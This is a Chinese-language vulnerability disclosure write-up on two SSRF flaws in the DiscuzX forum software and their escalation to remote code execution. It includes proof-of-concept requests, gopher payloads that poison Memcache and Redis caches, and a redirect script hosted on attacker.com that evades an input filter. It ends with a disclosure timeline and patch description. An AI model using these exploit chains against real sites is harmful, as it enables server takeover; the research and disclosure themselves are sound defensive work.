概述

我在調試分析 DiscuzX (以下簡稱 Dz)歷史漏洞的時候,發現 Dz 的 SSRF 漏洞其實都是由一個叫dfsockopen的函數導致的,並且官方修補方式都是指哪補哪。於是簡單過了一遍所有調用dfsockopen的地方,最終又找到兩處 SSRF。本文將對這兩處 SSRF 漏洞成因以及利用方式做簡要探討。

關鍵函數 dfsockopen

本次漏洞的關鍵函數dfsockopen

function dfsockopen($url, $limit = 0, $post = , $cookie = , $bysocket = FALSE, $ip = , $timeout = 15, $block = TRUE, $encodetype = URLENCODE, $allowcurl = TRUE, $position = 0, $files = array()) {
require_once libfile(function/filesock);
return _dfsockopen($url, $limit, $post, $cookie, $bysocket, $ip, $timeout, $block, $encodetype, $allowcurl, $position, $files);
}

可以看到,dfsockopen 具體邏輯都是由 _dfsockopen 實現的。而 _dfsockopen 函數代碼的大致流程是:對傳入的 url 參數首先調用 parse_url 函數進行解析,然後檢測 PHP 環境是否安裝了 curl 擴展,如果是,那麼接下來會用 curl 對傳入的 url 參數發起請求;否則,則用 fsockopen 對解析出來的 host, port 建立 socket 連接,手動構造發送 HTTP 請求數據包。

_dfsockopen 函數代碼比較長,這裡只貼出其中調用 curl 進行處理的部分:

if(function_exists(curl_init) && function_exists(curl_exec) && $allowcurl) {
$ch = curl_init();
$httpheader = array();
if($ip) {
$httpheader[] = "Host: ".$host;
}
if($httpheader) {
curl_setopt($ch, CURLOPT_HTTPHEADER, $httpheader);
}
curl_setopt($ch, CURLOPT_URL, $scheme.://.($ip ? $ip : $host).($port ? :.$port : ).$path);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, 1);
if($post) {
curl_setopt($ch, CURLOPT_POST, 1);
if($encodetype == URLENCODE) {
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
} else {
foreach($post as $k => $v) {
if(isset($files[$k])) {
$post[$k] = @.$files[$k];
}
}
foreach($files as $k => $file) {
if(!isset($post[$k]) && file_exists($file)) {
$post[$k] = @.$file;
}
}
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
}
}
if($cookie) {
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
}
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
$data = curl_exec($ch);
$status = curl_getinfo($ch);
$errno = curl_errno($ch);
curl_close($ch);
if($errno || $status[http_code] != 200) {
return;
} else {
$GLOBALS[filesockheader] = substr($data, 0, $status[header_size]);
$data = substr($data, $status[header_size]);
return !$limit ? $data : substr($data, 0, $limit);
}
}

可以發現,dfsockopen沒有檢查一個請求的地址是否是內網地址。除此之外,它會優先使用 curl 來構造發送請求,curl 是個很強大的網路請求程序,它默認支持的協議很多,其中包括「萬能」的協議 gopher:

gopher 可以構造發送任意內容的數據包:

另外注意一點,這裡代碼中的 curl 選項配置跟隨跳轉:

curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

眾所周知,跟隨跳轉在 SSRF 中可以 bypass 請求協議限制(雖然這裡並沒有)。除此之外,由於 Dz 中_xss_check函數會檢查 url 中的特殊字元,如果檢查到某些特殊字元就會進行攔截,因此還可以利用跟隨跳轉來繞過 url 中不能出現特殊字元的限制:

private function _xss_check() {

static $check = array(", >, <, , (, ), CONTENT-TRANSFER-ENCODING);

if(isset($_GET[formhash]) && $_GET[formhash] !== formhash()) {
system_error(request_tainting);
}

if($_SERVER[REQUEST_METHOD] == GET ) {
$temp = $_SERVER[REQUEST_URI];
} elseif(empty ($_GET[formhash])) {
$temp = $_SERVER[REQUEST_URI].file_get_contents(php://input);
} else {
$temp = ;
}

if(!empty($temp)) {
$temp = strtoupper(urldecode(urldecode($temp)));
foreach ($check as $str) {
if(strpos($temp, $str) !== false) {
system_error(request_tainting);
}
}
}

return true;
}

尋找漏洞

所以如果想再找一個 SSRF 的思路就有了,直接找哪些地方調用了 dfsockopen 並且 url 參數可控的即可。去年 10 月份的時候更新了兩個關於 SSRF 的補丁:

  • gitee.com/ComsenzDiscuz
  • gitee.com/ComsenzDiscuz

可以看到官方的修補辦法都是簡單粗暴,直接關閉對應的功能或者把功能僅限於對管理員開放。所以除了上面的兩個已經被修補外,我粗略找了下,又發現了兩個。

imgcropper SSRF

source/class/class_image.php imageinit方法:

function init($method, $source, $target, $nosuffix = 0) {
global $_G;

$this->errorcode = 0;
if(empty($source)) {
return -2;
}
$parse = parse_url($source);
if(isset($parse[host])) {
if(empty($target)) {
return -2;
}
$data = dfsockopen($source);
$this->tmpfile = $source = tempnam($_G[setting][attachdir]../temp/, tmpimg_);
if(!$data || $source === FALSE) {
return -2;
}
file_put_contents($source, $data);
}
......
}

再找哪些地方調用了image類的init方法,發現image類的ThumbCropperWatermark方法都調用了init。比如Thumb

function Thumb($source, $target, $thumbwidth, $thumbheight, $thumbtype = 1, $nosuffix = 0) {
$return = $this->init(thumb, $source, $target, $nosuffix);
......
}

所以再找哪些地方調用了image類的Thumb方法,最終發現:

source/module/misc/misc_imgcropper.php 52-57行:

require_once libfile(class/image);
$image = new image();
$prefix = $_GET[picflag] == 2 ? $_G[setting][ftp][attachurl] : $_G[setting][attachurl];
if(!$image->Thumb($prefix.$_GET[cutimg], $cropfile, $picwidth, $picheight)) {
showmessage(imagepreview_errorcode_.$image->errorcode, null, null, array(showdialog => true, closetime => true));
}

下斷點調試發現 $_G[setting][ftp][attachurl] 的值為 /,而 $_G[setting][attachurl] 的值是 data/attachment/。所以似乎 $prefix/ 才有 SSRF 利用的可能。

一開始構造 cutimg=/10.0.1.1/get,這樣 $url 的值就為 //10.0.1.1/get,按道理來說這應該算是一個正常的 url,但是結果卻請求失敗了。

仔細跟進 _dfsockopen 發現,在 PHP 環境安裝有 cURL 時,進入 curl 處理的代碼分支,直到這裡:

curl_setopt($ch, CURLOPT_URL, $scheme.://.($ip ? $ip : $host).($port ? :.$port : ).$path);

$scheme$host$port$path 都是 parse_url 解析 url 參數後的對應的值,而對像 //10.0.1.1/get 這樣的 url 解析時,$scheme 的值是 null,因此最後拼接的結果是 ://10.0.1.1/get,沒有協議,curl 最後對這種url的請求會自動在前面加上 HTTP://,結果就變成了請求 HTTP://://10.0.1.1/get,這種 url 在我的環境中會導致 curl 報錯。

所以我去掉了 curl 擴展,讓 _dfsockopen 函數代碼走 socket 發包的流程,踩了 parse_url 和 Dz 代碼的一些坑點(這裡就不展開了,有興趣的同學調下代碼就知道了),最後發現像這樣構造可以成功:

cutimg=/:@localhost:9090/dz-imgcropper-ssrf

poc:

POST /misc.php?mod=imgcropper&picflag=2&cutimg=/:@localhost:9090/dz-imgcropper-ssrf HTTP/1.1
Host: ubuntu-trusty.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: xkmD_2132_sid=E5sbVr; xkmD_2132_saltkey=m6Y8022s; xkmD_2132_lastvisit=1521612483; xkmD_2132_lastact=1521624907%09misc.php%09imgcropper; xkmD_2132_home_readfeed=1521616105; xkmD_2132_seccode=1.ecda87c571707d3f92; xkmD_2132_ulastactivity=a0f4A9CWpermv2t0GGOrf8%2BzCf6dZyAoQ3Sto7ORINqJeK4g3xcX; xkmD_2132_auth=40a4BIESn2PZVmGftNQ2%2BD1ImxpYr0HXke37YiChA2ruG6OryhLe0bUg53XKlioysCePIZGEO1jmlB1L4qbo; XG8F_2132_sid=fKyQMr; XG8F_2132_saltkey=U7lxxLwx; XG8F_2132_lastvisit=1521683793; XG8F_2132_lastact=1521699709%09index.php%09; XG8F_2132_ulastactivity=200fir8BflS1t8ODAa3R7YNsZTQ1k262ysLbc9wdHRzbPnMZ%2BOv7; XG8F_2132_auth=3711UP00sKWDx2Vo1DtO17C%2FvDfrelGOrwhtDmwu5vBjiXSHuPaFVJ%2FC%2BQi1mw4v4pJ66jx6otRFKfU03cBy; XG8F_2132_lip=172.16.99.1%2C1521688203; XG8F_2132_nofavfid=1; XG8F_2132_onlineusernum=3; XG8F_2132_sendmail=1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

imgcroppersubmit=1&formhash=f8472648

此時 url 即為//:@localhost:9090/dz-imgcropper-ssrf。SSRF 請求成功:

通過這種方式進行構造利用的話,不太需要額外的限制條件(只要求服務端 PHP 環境沒有安裝 curl 擴展)?,但是只能發 HTTP GET 請求,並且服務端不跟隨跳轉。漏洞危害有限。

後來 l3m0n 師傅也獨立發現了這個漏洞,並且他發現較高版本的 curl 是可以成功請求 HTTP://:/ 的,較高版本的 curl 會將這種 url 地址解析到 127.0.0.1 的 80 埠:

最後他再利用之前 PHP parse_url 的解析 bug( bugs.php.net/bug.php? ),及利用 parse_url 和 curl 對 url 的解析差異,成功進行 302 跳轉到任意惡意地址,最後再 302 跳轉到 gopher 就做到發送任意數據包。詳情可以參考 l3m0n 的博客:

Discuz x3.4前台SSRF - l3m0n - 博客園

但是這種利用方式對 PHP、curl 版本都有特殊的要求,而且要服務端環境接受空 Host 的請求。總的來說,imgcropper SSRF 仍然比較雞肋。

Weixin Plugin SSRF

source/plugin/wechat/wechat.class.php WeChatsyncAvatar方法:

static public function syncAvatar($uid, $avatar) {

if(!$uid || !$avatar) {
return false;
}

if(!$content = dfsockopen($avatar)) {
return false;
}

$tmpFile = DISCUZ_ROOT../data/avatar/.TIMESTAMP.random(6);
file_put_contents($tmpFile, $content);

if(!is_file($tmpFile)) {
return false;
}

$result = uploadUcAvatar::upload($uid, $tmpFile);
unlink($tmpFile);

C::t(common_member)->update($uid, array(avatarstatus=>1));

return $result;
}

source/plugin/wechat/wechat.inc.php 中調用了WeChat::syncAvatar,直接用$_GET[avatar]作為參數傳進去:

......

elseif(($ac == register && submitcheck(submit) || $ac == wxregister) && $_G[wechat][setting][wechat_allowregister]) {

......

$uid = WeChat::register($_GET[username], $ac == wxregister);

if($uid && $_GET[avatar]) {
WeChat::syncAvatar($uid, $_GET[avatar]);
}

}

不過因為這裡用到了微信登錄的插件,所以要利用的話需要目標站開啟微信登錄:

這裡 SSRF 的構造很簡單,直接在avatar參數構造 url 即可(只是注意wxopenid參數每次請求都要足夠隨機保證沒有重複,如果重複的話代碼是無法走到發起請求的邏輯的):

poc:

http://target/plugin.php?id=wechat:wechat&ac=wxregister&username=vov&avatar=http://localhost:9090/dz-weixin-plugin-ssrf&wxopenid=dont_be_evil

Dz SSRF getshell

烏雲關閉前 Jannock 給 Dz 交過需要一定條件命令執行的漏洞,當時由於漏洞還未公開烏雲就已關閉所以具體的細節我已不得而知。不過我後來從網上各處搜羅查找資料,發現 chengable 寫的一篇分析那個漏洞文章:discuz利用ssrf+緩存應用getshell漏洞分析 - CHENGABLE BLOG ,從而知道是用 SSRF 篡改緩存從而 getshell。本著學習的態度,我搭環境調試了這個精彩的漏洞利用方式,並且發現除了 Redis,攻擊 Memcache 也是可以的,只不過要多踩一個坑。

先說結論:Dz 由 dfsockopen 函數導致的 SSRF,如果要 getshell,目標站需要滿足以下幾個條件:

  1. 服務端 PHP 環境安裝有 curl 擴展(為了通過 curl 使用 gopher 協議)
  2. 使用 Memcache 或未設置密碼認證的 Redis 進行緩存

由於 imgcropper SSRF 利用限制較多,所以這裡我用 Weixin Plugin SSRF進行演示。

SSRF 攻擊 Memcache

Dz 整合 Memcache 配置成功後,默認情況下網站首頁右下角會出現MemCache On的標誌:

Dz 在安裝的時候,對於緩存中的鍵名加了隨機字元串作為前綴。所以如果 SSRF 要攻擊 Memcache ,第一個問題是,如何找到正確的鍵名?

install/index.php 345-357行:

$uid = DZUCFULL ? 1 : $adminuser[uid];
$authkey = md5($_SERVER[SERVER_ADDR].$_SERVER[HTTP_USER_AGENT].$dbhost.$dbuser.$dbpw.$dbname.$username.$password.$pconnect.substr($timestamp, 0, 8)).random(18);
$_config[db][1][dbhost] = $dbhost;
$_config[db][1][dbname] = $dbname;
$_config[db][1][dbpw] = $dbpw;
$_config[db][1][dbuser] = $dbuser;
$_config[db][1][tablepre] = $tablepre;
$_config[admincp][founder] = (string)$uid;
$_config[security][authkey] = $authkey;
$_config[cookie][cookiepre] = random(4)._;
$_config[memory][prefix] = random(6)._;

save_config_file(ROOT_PATH.CONFIG, $_config, $default_config);

這是 Dz 在安裝的時候的一段代碼,這段代碼設置了 authkey、Cookie 前綴以及緩存鍵名前綴,其中用到了random函數生成隨機字元串。所以跟進這個random

function random($length) {
$hash = ;
$chars = ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz;
$max = strlen($chars) - 1;
PHP_VERSION < 4.2.0 && mt_srand((double)microtime() * 1000000);
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}

可以發現,如果 PHP 版本大於 4.2.0,那麼 mt_rand 隨機數的種子是不變的。也就是說,生成 authkey、Cookie 前綴以及緩存鍵名前綴時調用的 mt_rand 用的都是同一個種子,而 Cookie 前綴是已知的,通過觀察 HTTP 請求就可以知道。因此,隨機數播種的種子可以被縮到一個極小的範圍內進行猜解。這裡可以用 php_mt_seed 進行種子爆破。

通過 mt_rand 種子的猜解,緩存鍵名前綴的可能性從 62^6 縮小到不到 1000 個,這就完全屬於可以爆破的範疇了。對猜解出來的所有可能的緩存鍵名前綴分別構造 SSRF 請求發送到伺服器,最後即能更改某一鍵名對應的鍵值。

Memcache 緩存鍵名的問題解決了,接下來的問題是,緩存數據被載入到哪了?如何通過修改緩存數據來 getshell?

這一部分的思路就可以直接參照 chengable 寫的那篇文章了,output_replace 函數細節有略微變化,但大體思路是一致的,所以我也不再贅述了。

最後準備用 gopher 協議構造 SSRF 的 payload。寫這樣一段代碼(先假設緩存鍵名前綴是 IwRW7l):

<?php

$_G[setting][output][preg][search][plugins] = /.*/;
$_G[setting][output][preg][replace][plugins] = phpinfo();
$_G[setting][rewritestatus] = 1;

$memcache = new Memcache;
$memcache->connect(localhost, 11211) or die ("Could not connect");
$memcache->set(IwRW7l_setting, $_G[setting]);

運行這段 PHP 代碼,同時抓包,然後將數據包改成 gopher 的形式,即:

gopher://localhost:11211/_set%20IwRW7l_setting%201%200%20161%0d%0aa%3A2%3A%7Bs%3A6%3A%22output%22%3Ba%3A1%3A%7Bs%3A4%3A%22preg%22%3Ba%3A2%3A%7Bs%3A6%3A%22search%22%3Ba%3A1%3A%7Bs%3A7%3A%22plugins%22%3Bs%3A4%3A%22%2F.*%2F%22%3B%7Ds%3A7%3A%22replace%22%3Ba%3A1%3A%7Bs%3A7%3A%22plugins%22%3Bs%3A9%3A%22phpinfo()%22%3B%7D%7D%7Ds%3A13%3A%22rewritestatus%22%3Bi%3A1%3B%7D

但是直接用它去 SSRF 是不可以的,會被_xss_check檢測到特殊字元而被拒絕請求:

所以利用這裡請求跟隨跳轉的特點,在自己的遠程伺服器上放類似於這樣的一個腳本:

<?php

$url = base64_decode($_REQUEST[url]);
header( "Location: " . $url );

這樣就可以將 SSRF URL 進行 base64 編碼從而規避_xss_check的檢測。

http://target/plugin.php?id=wechat:wechat&ac=wxregister&username=vov&avatar=http%3A%2F%2Fattacker.com%2F302.php%3Furl%3DZ29waGVyOi8vbG9jYWxob3N0OjExMjExL19zZXQlMjBJd1JXN2xfc2V0dGluZyUyMDElMjAwJTIwMTYxJTBkJTBhYSUzQTIlM0ElN0JzJTNBNiUzQSUyMm91dHB1dCUyMiUzQmElM0ExJTNBJTdCcyUzQTQlM0ElMjJwcmVnJTIyJTNCYSUzQTIlM0ElN0JzJTNBNiUzQSUyMnNlYXJjaCUyMiUzQmElM0ExJTNBJTdCcyUzQTclM0ElMjJwbHVnaW5zJTIyJTNCcyUzQTQlM0ElMjIlMkYuKiUyRiUyMiUzQiU3RHMlM0E3JTNBJTIycmVwbGFjZSUyMiUzQmElM0ExJTNBJTdCcyUzQTclM0ElMjJwbHVnaW5zJTIyJTNCcyUzQTklM0ElMjJwaHBpbmZvKCklMjIlM0IlN0QlN0QlN0RzJTNBMTMlM0ElMjJyZXdyaXRlc3RhdHVzJTIyJTNCaSUzQTElM0IlN0Q%253D&wxopenid=xxxyyy

再訪問/forum.php?mod=ajax&action=getthreadtypes&inajax=yes,即可看到phpinfo()代碼已被執行:

由於緩存被暴力篡改,會導致網站無法正常運行。恢復正常辦法是刷新緩存。用上面的思路直接一次 getshell 後執行以下命令,網站就可以恢復正常:

echo -e flush_all | nc localhost 11211

最後我寫了個將上述整個過程自動化 getshell 的腳本:

SSRF 攻擊 Redis

類似地,Dz 整合 Redis 配置成功後,默認情況下網站首頁右下角會出現Redis On的標誌:

SSRF 攻擊 Redis 步驟實際上就比攻擊 Memcache 簡單了,因為 Redis 支持 lua 腳本,可以直接用 lua 腳本獲取緩存鍵名而無需再去猜解前綴。當然能成功攻擊的前提是 Redis 沒有配置密碼認證,Discuz requirepass 那一項為空:

Redis 交互命令行執行 lua 腳本:

eval "local t=redis.call(keys,*_setting); for i,v in ipairs(t) do redis.call(set, v, a:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";a:1:{s:7:"plugins";s:4:"/.*/";}s:7:"replace";a:1:{s:7:"plugins";s:9:"phpinfo()";}}}s:13:"rewritestatus";i:1;}) end; return 1;" 0

同樣地,對這個過程抓包,將數據包改成 gopher 的形式:

gopher://localhost:6379/_*3%0d%0a%244%0d%0aeval%0d%0a%24264%0d%0alocal%20t%3Dredis.call(keys%2C*_setting)%3B%20for%20i%2Cv%20in%20ipairs(t)%20do%20redis.call(set%2C%20v%2C%20a%3A2%3A%7Bs%3A6%3A%22output%22%3Ba%3A1%3A%7Bs%3A4%3A%22preg%22%3Ba%3A2%3A%7Bs%3A6%3A%22search%22%3Ba%3A1%3A%7Bs%3A7%3A%22plugins%22%3Bs%3A4%3A%22%2F.*%2F%22%3B%7Ds%3A7%3A%22replace%22%3Ba%3A1%3A%7Bs%3A7%3A%22plugins%22%3Bs%3A9%3A%22phpinfo()%22%3B%7D%7D%7Ds%3A13%3A%22rewritestatus%22%3Bi%3A1%3B%7D)%20end%3B%20return%201%3B%0d%0a%241%0d%0a0%0d%0a

SSRF 利用:

http://target/plugin.php?id=wechat:wechat&ac=wxregister&username=vov&avatar=http%3A%2F%2Fattacker.com%2F302.php%3Furl%3DZ29waGVyOi8vbG9jYWxob3N0OjYzNzkvXyozJTBkJTBhJTI0NCUwZCUwYWV2YWwlMGQlMGElMjQyNjQlMGQlMGFsb2NhbCUyMHQlM0RyZWRpcy5jYWxsKCdrZXlzJyUyQycqX3NldHRpbmcnKSUzQiUyMGZvciUyMGklMkN2JTIwaW4lMjBpcGFpcnModCklMjBkbyUyMHJlZGlzLmNhbGwoJ3NldCclMkMlMjB2JTJDJTIwJ2ElM0EyJTNBJTdCcyUzQTYlM0ElMjJvdXRwdXQlMjIlM0JhJTNBMSUzQSU3QnMlM0E0JTNBJTIycHJlZyUyMiUzQmElM0EyJTNBJTdCcyUzQTYlM0ElMjJzZWFyY2glMjIlM0JhJTNBMSUzQSU3QnMlM0E3JTNBJTIycGx1Z2lucyUyMiUzQnMlM0E0JTNBJTIyJTJGLiolMkYlMjIlM0IlN0RzJTNBNyUzQSUyMnJlcGxhY2UlMjIlM0JhJTNBMSUzQSU3QnMlM0E3JTNBJTIycGx1Z2lucyUyMiUzQnMlM0E5JTNBJTIycGhwaW5mbygpJTIyJTNCJTdEJTdEJTdEcyUzQTEzJTNBJTIycmV3cml0ZXN0YXR1cyUyMiUzQmklM0ExJTNCJTdEJyklMjBlbmQlM0IlMjByZXR1cm4lMjAxJTNCJTBkJTBhJTI0MSUwZCUwYTAlMGQlMGE%253D&wxopenid=xxxyyyzzz

代碼即再次執行成功。

修復補丁

gitee.com/ComsenzDiscuz

Dz 參照了 WordPress 中的做法,對 url 的請求協議、埠做了白名單檢查,並限制了請求 IP 地址不能為除了 localhost 以外的其他內網段地址,更重要的是不再跟隨跳轉。因此無法再通過 SSRF 利用 gopher 協議攻擊 Dz 的緩存服務了。

時間線

  • 2018/03/23:向 TSRC 報告兩處 SSRF
  • 2018/03/26:TSRC 確認漏洞存在,並準備進行漏洞修復
  • 2018/04/09 - 2018/08/01:協助 TSRC 進行漏洞修復
  • 2018/11/06:DiscuzX 在 gitee 上提交補丁 commit
  • 2018/12/09:公開漏洞詳情

推薦閱讀:

查看原文 >>
相关文章